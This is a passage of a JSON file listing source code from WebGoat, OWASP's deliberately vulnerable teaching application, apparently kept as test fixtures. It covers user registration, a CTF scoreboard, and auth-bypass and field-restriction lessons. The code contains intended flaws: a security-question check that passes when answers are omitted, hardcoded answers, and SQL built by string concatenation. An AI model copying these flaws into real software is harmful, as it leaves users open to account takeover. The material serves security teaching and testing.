getAssignment(String name) {\n    return allAssignments.stream().filter(a -> a.getName().equals(name)).findFirst();\n  }\n\n  /**\n   * Mark an assignment as solved\n   *\n   * @param solvedAssignment the assignment which the user solved\n   */\n  public void assignmentSolved(String solvedAssignment) {\n    getAssignment(solvedAssignment).ifPresent(solvedAssignments::add);\n  }\n\n  /**\n   * @return did they user solved all solvedAssignments for the lesson?\n   */\n  public boolean isLessonSolved() {\n    return allAssignments.size() == solvedAssignments.size();\n  }\n\n  /** Increase the number attempts to solve the lesson */\n  public void incrementAttempts() {\n    numberOfAttempts++;\n  }\n\n  /** Reset the tracker. We do not reset the number of attempts here! */\n  void reset() {\n    solvedAssignments.clear();\n  }\n\n  /**\n   * @return list containing all the assignments solved or not\n   */\n  public Map<Assignment, Boolean> getLessonOverview() {\n    List<Assignment> notSolved =\n        allAssignments.stream().filter(i -> !solvedAssignments.contains(i)).toList();\n    Map<Assignment, Boolean> overview =\n        notSolved.stream().collect(Collectors.toMap(a -> a, b -> false));\n    overview.putAll(solvedAssignments.stream().collect(Collectors.toMap(a -> a, b -> true)));\n    return overview;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java",
    "content": "package org.owasp.webgoat.container.users;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.validation.Valid;\nimport lombok.AllArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.security.authentication.AuthenticationManager;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.validation.BindingResult;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.ModelAttribute;\nimport org.springframework.web.bind.annotation.PostMapping;\n\n/**\n * @author nbaars\n * @since 3/19/17.\n */\n@Controller\n@AllArgsConstructor\n@Slf4j\npublic class RegistrationController {\n\n  private UserValidator userValidator;\n  private UserService userService;\n  private AuthenticationManager authenticationManager;\n\n  @GetMapping(\"/registration\")\n  public String showForm(UserForm userForm) {\n    return \"registration\";\n  }\n\n  @PostMapping(\"/register.mvc\")\n  public String registration(\n      @ModelAttribute(\"userForm\") @Valid UserForm userForm,\n      BindingResult bindingResult,\n      HttpServletRequest request)\n      throws ServletException {\n    userValidator.validate(userForm, bindingResult);\n\n    if (bindingResult.hasErrors()) {\n      return \"registration\";\n    }\n    userService.addUser(userForm.getUsername(), userForm.getPassword());\n    request.login(userForm.getUsername(), userForm.getPassword());\n\n    return \"redirect:/attack\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java",
    "content": "package org.owasp.webgoat.container.users;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Optional;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport org.owasp.webgoat.container.i18n.PluginMessages;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.owasp.webgoat.container.session.Course;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * Temp endpoint just for the CTF.\n *\n * @author nbaars\n * @since 3/23/17.\n */\n@RestController\n@AllArgsConstructor\npublic class Scoreboard {\n\n  private final UserTrackerRepository userTrackerRepository;\n  private final UserRepository userRepository;\n  private final Course course;\n  private final PluginMessages pluginMessages;\n\n  @AllArgsConstructor\n  @Getter\n  private class Ranking {\n    private String username;\n    private List<String> flagsCaptured;\n  }\n\n  @GetMapping(\"/scoreboard-data\")\n  public List<Ranking> getRankings() {\n    List<WebGoatUser> allUsers = userRepository.findAll();\n    List<Ranking> rankings = new ArrayList<>();\n    for (WebGoatUser user : allUsers) {\n      if (user.getUsername().startsWith(\"csrf-\")) {\n        // the csrf- assignment specific users do not need to be in the overview\n        continue;\n      }\n      UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());\n      rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));\n    }\n    /* sort on number of captured flags to present an ordered ranking */\n    rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size());\n    return rankings;\n  }\n\n  private List<String> challengesSolved(UserTracker userTracker) {\n    List<String> challenges =\n        List.of(\n            \"Challenge1\",\n            \"Challenge2\",\n            \"Challenge3\",\n            \"Challenge4\",\n            \"Challenge5\",\n            \"Challenge6\",\n            \"Challenge7\",\n            \"Challenge8\",\n            \"Challenge9\");\n    return challenges.stream()\n        .map(userTracker::getLessonTracker)\n        .flatMap(Optional::stream)\n        .filter(LessonTracker::isLessonSolved)\n        .map(LessonTracker::getLessonName)\n        .map(this::toLessonTitle)\n        .toList();\n  }\n\n  private String toLessonTitle(String id) {\n    String titleKey =\n        course.getLessons().stream()\n            .filter(l -> l.getId().equals(id))\n            .findFirst()\n            .map(Lesson::getTitle)\n            .orElse(\"No title\");\n    return pluginMessages.getMessage(titleKey, titleKey);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserForm.java",
    "content": "package org.owasp.webgoat.container.users;\n\nimport javax.validation.constraints.NotNull;\nimport javax.validation.constraints.Pattern;\nimport javax.validation.constraints.Size;\nimport lombok.Getter;\nimport lombok.Setter;\n\n/**\n * @author nbaars\n * @since 3/19/17.\n */\n@Getter\n@Setter\npublic class UserForm {\n\n  @NotNull\n  @Size(min = 6, max = 45)\n  @Pattern(regexp = \"[a-z0-9-]*\", message = \"can only contain lowercase letters, digits, and -\")\n  private String username;\n\n  @NotNull\n  @Size(min = 6, max = 10)\n  private String password;\n\n  @NotNull\n  @Size(min = 6, max = 10)\n  private String matchingPassword;\n\n  @NotNull private String agree;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserRepository.java",
    "content": "package org.owasp.webgoat.container.users;\n\nimport java.util.List;\nimport org.springframework.data.jpa.repository.JpaRepository;\n\n/**\n * @author nbaars\n * @since 3/19/17.\n */\npublic interface UserRepository extends JpaRepository<WebGoatUser, String> {\n\n  WebGoatUser findByUsername(String username);\n\n  List<WebGoatUser> findAll();\n\n  boolean existsByUsername(String username);\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserService.java",
    "content": "package org.owasp.webgoat.container.users;\n\nimport java.util.List;\nimport java.util.function.Function;\nimport lombok.AllArgsConstructor;\nimport org.flywaydb.core.Flyway;\nimport org.owasp.webgoat.container.lessons.Initializeable;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.security.core.userdetails.UserDetailsService;\nimport org.springframework.security.core.userdetails.UsernameNotFoundException;\nimport org.springframework.stereotype.Service;\n\n/**\n * @author nbaars\n * @since 3/19/17.\n */\n@Service\n@AllArgsConstructor\npublic class UserService implements UserDetailsService {\n\n  private final UserRepository userRepository;\n  private final UserTrackerRepository userTrackerRepository;\n  private final JdbcTemplate jdbcTemplate;\n  private final Function<String, Flyway> flywayLessons;\n  private final List<Initializeable> lessonInitializables;\n\n  @Override\n  public WebGoatUser loadUserByUsername(String username) throws UsernameNotFoundException {\n    WebGoatUser webGoatUser = userRepository.findByUsername(username);\n    if (webGoatUser == null) {\n      throw new UsernameNotFoundException(\"User not found\");\n    } else {\n      webGoatUser.createUser();\n      lessonInitializables.forEach(l -> l.initialize(webGoatUser));\n    }\n    return webGoatUser;\n  }\n\n  public void addUser(String username, String password) {\n    // get user if there exists one by the name\n    var userAlreadyExists = userRepository.existsByUsername(username);\n    var webGoatUser = userRepository.save(new WebGoatUser(username, password));\n\n    if (!userAlreadyExists) {\n      userTrackerRepository.save(\n          new UserTracker(username)); // if user previously existed it will not get another tracker\n      createLessonsForUser(webGoatUser);\n    }\n  }\n\n  private void createLessonsForUser(WebGoatUser webGoatUser) {\n    jdbcTemplate.execute(\"CREATE SCHEMA \\\"\" + webGoatUser.getUsername() + \"\\\" authorization dba\");\n    flywayLessons.apply(webGoatUser.getUsername()).migrate();\n  }\n\n  public List<WebGoatUser> getAllUsers() {\n    return userRepository.findAll();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserSession.java",
    "content": "package org.owasp.webgoat.container.users;\n\nimport lombok.AccessLevel;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport lombok.NoArgsConstructor;\nimport org.springframework.data.annotation.Id;\n\n/**\n * @author nbaars\n * @since 8/15/17.\n */\n@Getter\n@AllArgsConstructor\n@NoArgsConstructor(access = AccessLevel.PROTECTED)\npublic class UserSession {\n\n  private WebGoatUser webGoatUser;\n  @Id private String sessionId;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserTracker.java",
    "content": "package org.owasp.webgoat.container.users;\n\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.Set;\nimport java.util.stream.Collectors;\nimport javax.persistence.*;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.lessons.Assignment;\nimport org.owasp.webgoat.container.lessons.Lesson;\n\n/**\n * ************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * @author Bruce Mayhew <a href=\"http://code.google.com/p/webgoat\">WebGoat</a>\n * @version $Id: $Id\n * @since October 29, 2003\n */\n@Slf4j\n@Entity\npublic class UserTracker {\n\n  @Id\n  @GeneratedValue(strategy = GenerationType.AUTO)\n  private Long id;\n\n  @Column(name = \"username\")\n  private String user;\n\n  @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)\n  private Set<LessonTracker> lessonTrackers = new HashSet<>();\n\n  private UserTracker() {}\n\n  public UserTracker(final String user) {\n    this.user = user;\n  }\n\n  /**\n   * Returns an existing lesson tracker or create a new one based on the lesson\n   *\n   * @param lesson the lesson\n   * @return a lesson tracker created if not already present\n   */\n  public LessonTracker getLessonTracker(Lesson lesson) {\n    Optional<LessonTracker> lessonTracker =\n        lessonTrackers.stream().filter(l -> l.getLessonName().equals(lesson.getId())).findFirst();\n    if (!lessonTracker.isPresent()) {\n      LessonTracker newLessonTracker = new LessonTracker(lesson);\n      lessonTrackers.add(newLessonTracker);\n      return newLessonTracker;\n    } else {\n      return lessonTracker.get();\n    }\n  }\n\n  /**\n   * Query method for finding a specific lesson tracker based on id\n   *\n   * @param id the id of the lesson\n   * @return optional due to the fact we can only create a lesson tracker based on a lesson\n   */\n  public Optional<LessonTracker> getLessonTracker(String id) {\n    return lessonTrackers.stream().filter(l -> l.getLessonName().equals(id)).findFirst();\n  }\n\n  public void assignmentSolved(Lesson lesson, String assignmentName) {\n    LessonTracker lessonTracker = getLessonTracker(lesson);\n    lessonTracker.incrementAttempts();\n    lessonTracker.assignmentSolved(assignmentName);\n  }\n\n  public void assignmentFailed(Lesson lesson) {\n    LessonTracker lessonTracker = getLessonTracker(lesson);\n    lessonTracker.incrementAttempts();\n  }\n\n  public void reset(Lesson al) {\n    LessonTracker lessonTracker = getLessonTracker(al);\n    lessonTracker.reset();\n  }\n\n  public int numberOfLessonsSolved() {\n    int numberOfLessonsSolved = 0;\n    for (LessonTracker lessonTracker : lessonTrackers) {\n      if (lessonTracker.isLessonSolved()) {\n        numberOfLessonsSolved = numberOfLessonsSolved + 1;\n      }\n    }\n    return numberOfLessonsSolved;\n  }\n\n  public int numberOfAssignmentsSolved() {\n    int numberOfAssignmentsSolved = 0;\n    for (LessonTracker lessonTracker : lessonTrackers) {\n      Map<Assignment, Boolean> lessonOverview = lessonTracker.getLessonOverview();\n      numberOfAssignmentsSolved =\n          lessonOverview.values().stream().filter(b -> b).collect(Collectors.counting()).intValue();\n    }\n    return numberOfAssignmentsSolved;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserTrackerRepository.java",
    "content": "package org.owasp.webgoat.container.users;\n\nimport org.springframework.data.jpa.repository.JpaRepository;\n\n/**\n * @author nbaars\n * @since 4/30/17.\n */\npublic interface UserTrackerRepository extends JpaRepository<UserTracker, String> {\n\n  UserTracker findByUser(String user);\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserValidator.java",
    "content": "package org.owasp.webgoat.container.users;\n\nimport lombok.AllArgsConstructor;\nimport org.springframework.stereotype.Component;\nimport org.springframework.validation.Errors;\nimport org.springframework.validation.Validator;\n\n/**\n * @author nbaars\n * @since 3/19/17.\n */\n@Component\n@AllArgsConstructor\npublic class UserValidator implements Validator {\n\n  private final UserRepository userRepository;\n\n  @Override\n  public boolean supports(Class<?> clazz) {\n    return UserForm.class.equals(clazz);\n  }\n\n  @Override\n  public void validate(Object o, Errors errors) {\n    UserForm userForm = (UserForm) o;\n\n    if (userRepository.findByUsername(userForm.getUsername()) != null) {\n      errors.rejectValue(\"username\", \"username.duplicate\");\n    }\n\n    if (!userForm.getMatchingPassword().equals(userForm.getPassword())) {\n      errors.rejectValue(\"matchingPassword\", \"password.diff\");\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java",
    "content": "package org.owasp.webgoat.container.users;\n\nimport java.util.Collection;\nimport java.util.Collections;\nimport javax.persistence.Entity;\nimport javax.persistence.Id;\nimport javax.persistence.Transient;\nimport lombok.Getter;\nimport org.springframework.security.core.GrantedAuthority;\nimport org.springframework.security.core.authority.SimpleGrantedAuthority;\nimport org.springframework.security.core.userdetails.User;\nimport org.springframework.security.core.userdetails.UserDetails;\n\n/**\n * @author nbaars\n * @since 3/19/17.\n */\n@Getter\n@Entity\npublic class WebGoatUser implements UserDetails {\n\n  public static final String ROLE_USER = \"WEBGOAT_USER\";\n  public static final String ROLE_ADMIN = \"WEBGOAT_ADMIN\";\n\n  @Id private String username;\n  private String password;\n  private String role = ROLE_USER;\n  @Transient private User user;\n\n  protected WebGoatUser() {}\n\n  public WebGoatUser(String username, String password) {\n    this(username, password, ROLE_USER);\n  }\n\n  public WebGoatUser(String username, String password, String role) {\n    this.username = username;\n    this.password = password;\n    this.role = role;\n    createUser();\n  }\n\n  public void createUser() {\n    this.user = new User(username, password, getAuthorities());\n  }\n\n  public Collection<? extends GrantedAuthority> getAuthorities() {\n    return Collections.singleton(new SimpleGrantedAuthority(getRole()));\n  }\n\n  public String getRole() {\n    return this.role;\n  }\n\n  public String getUsername() {\n    return this.username;\n  }\n\n  public String getPassword() {\n    return this.password;\n  }\n\n  @Override\n  public boolean isAccountNonExpired() {\n    return this.user.isAccountNonExpired();\n  }\n\n  @Override\n  public boolean isAccountNonLocked() {\n    return this.user.isAccountNonLocked();\n  }\n\n  @Override\n  public boolean isCredentialsNonExpired() {\n    return this.user.isCredentialsNonExpired();\n  }\n\n  @Override\n  public boolean isEnabled() {\n    return this.user.isEnabled();\n  }\n\n  public boolean equals(Object obj) {\n    return obj instanceof WebGoatUser webGoatUser && this.user.equals(webGoatUser.user);\n  }\n\n  public int hashCode() {\n    return user.hashCode();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.authbypass;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/** Created by appsec on 7/18/17. */\npublic class AccountVerificationHelper {\n\n  // simulating database storage of verification credentials\n  private static final Integer verifyUserId = 1223445;\n  private static final Map<String, String> userSecQuestions = new HashMap<>();\n\n  static {\n    userSecQuestions.put(\"secQuestion0\", \"Dr. Watson\");\n    userSecQuestions.put(\"secQuestion1\", \"Baker Street\");\n  }\n\n  private static final Map<Integer, Map> secQuestionStore = new HashMap<>();\n\n  static {\n    secQuestionStore.put(verifyUserId, userSecQuestions);\n  }\n  // end 'data store set up'\n\n  // this is to aid feedback in the attack process and is not intended to be part of the\n  // 'vulnerable' code\n  public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {\n    boolean likely = false;\n\n    if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {\n      likely = true;\n    }\n\n    if ((submittedAnswers.containsKey(\"secQuestion0\")\n            && submittedAnswers\n                .get(\"secQuestion0\")\n                .equals(secQuestionStore.get(verifyUserId).get(\"secQuestion0\")))\n        && (submittedAnswers.containsKey(\"secQuestion1\")\n            && submittedAnswers\n                .get(\"secQuestion1\")\n                .equals(secQuestionStore.get(verifyUserId).get(\"secQuestion1\")))) {\n      likely = true;\n    } else {\n      likely = false;\n    }\n\n    return likely;\n  }\n  // end of cheating check ... the method below is the one of real interest. Can you find the flaw?\n\n  public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {\n    // short circuit if no questions are submitted\n    if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {\n      return false;\n    }\n\n    if (submittedQuestions.containsKey(\"secQuestion0\")\n        && !submittedQuestions\n            .get(\"secQuestion0\")\n            .equals(secQuestionStore.get(verifyUserId).get(\"secQuestion0\"))) {\n      return false;\n    }\n\n    if (submittedQuestions.containsKey(\"secQuestion1\")\n        && !submittedQuestions\n            .get(\"secQuestion1\")\n            .equals(secQuestionStore.get(verifyUserId).get(\"secQuestion1\"))) {\n      return false;\n    }\n\n    // else\n    return true;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/authbypass/AuthBypass.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.authbypass;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class AuthBypass extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A7;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"auth-bypass.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.authbypass;\n\nimport java.io.IOException;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/** Created by jason on 1/5/17. */\n@RestController\n@AssignmentHints({\n  \"auth-bypass.hints.verify.1\",\n  \"auth-bypass.hints.verify.2\",\n  \"auth-bypass.hints.verify.3\",\n  \"auth-bypass.hints.verify.4\"\n})\npublic class VerifyAccount extends AssignmentEndpoint {\n\n  @Autowired private WebSession webSession;\n\n  @Autowired UserSessionData userSessionData;\n\n  @PostMapping(\n      path = \"/auth-bypass/verify-account\",\n      produces = {\"application/json\"})\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req)\n      throws ServletException, IOException {\n    AccountVerificationHelper verificationHelper = new AccountVerificationHelper();\n    Map<String, String> submittedAnswers = parseSecQuestions(req);\n    if (verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)) {\n      return failed(this)\n          .feedback(\"verify-account.cheated\")\n          .output(\"Yes, you guessed correctly, but see the feedback message\")\n          .build();\n    }\n\n    // else\n    if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)) {\n      userSessionData.setValue(\"account-verified-id\", userId);\n      return success(this).feedback(\"verify-account.success\").build();\n    } else {\n      return failed(this).feedback(\"verify-account.failed\").build();\n    }\n  }\n\n  private HashMap<String, String> parseSecQuestions(HttpServletRequest req) {\n    Map<String, String> userAnswers = new HashMap<>();\n    List<String> paramNames = Collections.list(req.getParameterNames());\n    for (String paramName : paramNames) {\n      // String paramName = req.getParameterNames().nextElement();\n      if (paramName.contains(\"secQuestion\")) {\n        userAnswers.put(paramName, req.getParameter(paramName));\n      }\n    }\n    return (HashMap) userAnswers;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictions.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.bypassrestrictions;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class BypassRestrictions extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.CLIENT_SIDE;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"bypass-restrictions.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFieldRestrictions.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.bypassrestrictions;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint {\n\n  @PostMapping(\"/BypassRestrictions/FieldRestrictions\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String select,\n      @RequestParam String radio,\n      @RequestParam String checkbox,\n      @RequestParam String shortInput,\n      @RequestParam String readOnlyInput) {\n    if (select.equals(\"option1\") || select.equals(\"option2\")) {\n      return failed(this).build();\n    }\n    if (radio.equals(\"option1\") || radio.equals(\"option2\")) {\n      return failed(this).build();\n    }\n    if (checkbox.equals(\"on\") || checkbox.equals(\"off\")) {\n      return failed(this).build();\n    }\n    if (shortInput.length() <= 5) {\n      return failed(this).build();\n    }\n    if (\"change\".equals(readOnlyInput)) {\n      return failed(this).build();\n    }\n    return success(this).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFrontendValidation.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.bypassrestrictions;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class BypassRestrictionsFrontendValidation extends AssignmentEndpoint {\n\n  @PostMapping(\"/BypassRestrictions/frontendValidation\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String field1,\n      @RequestParam String field2,\n      @RequestParam String field3,\n      @RequestParam String field4,\n      @RequestParam String field5,\n      @RequestParam String field6,\n      @RequestParam String field7,\n      @RequestParam Integer error) {\n    final String regex1 = \"^[a-z]{3}$\";\n    final String regex2 = \"^[0-9]{3}$\";\n    final String regex3 = \"^[a-zA-Z0-9 ]*$\";\n    final String regex4 = \"^(one|two|three|four|five|six|seven|eight|nine)$\";\n    final String regex5 = \"^\\\\d{5}$\";\n    final String regex6 = \"^\\\\d{5}(-\\\\d{4})?$\";\n    final String regex7 = \"^[2-9]\\\\d{2}-?\\\\d{3}-?\\\\d{4}$\";\n    if (error > 0) {\n      return failed(this).build();\n    }\n    if (field1.matches(regex1)) {\n      return failed(this).build();\n    }\n    if (field2.matches(regex2)) {\n      return failed(this).build();\n    }\n    if (field3.matches(regex3)) {\n      return failed(this).build();\n    }\n    if (field4.matches(regex4)) 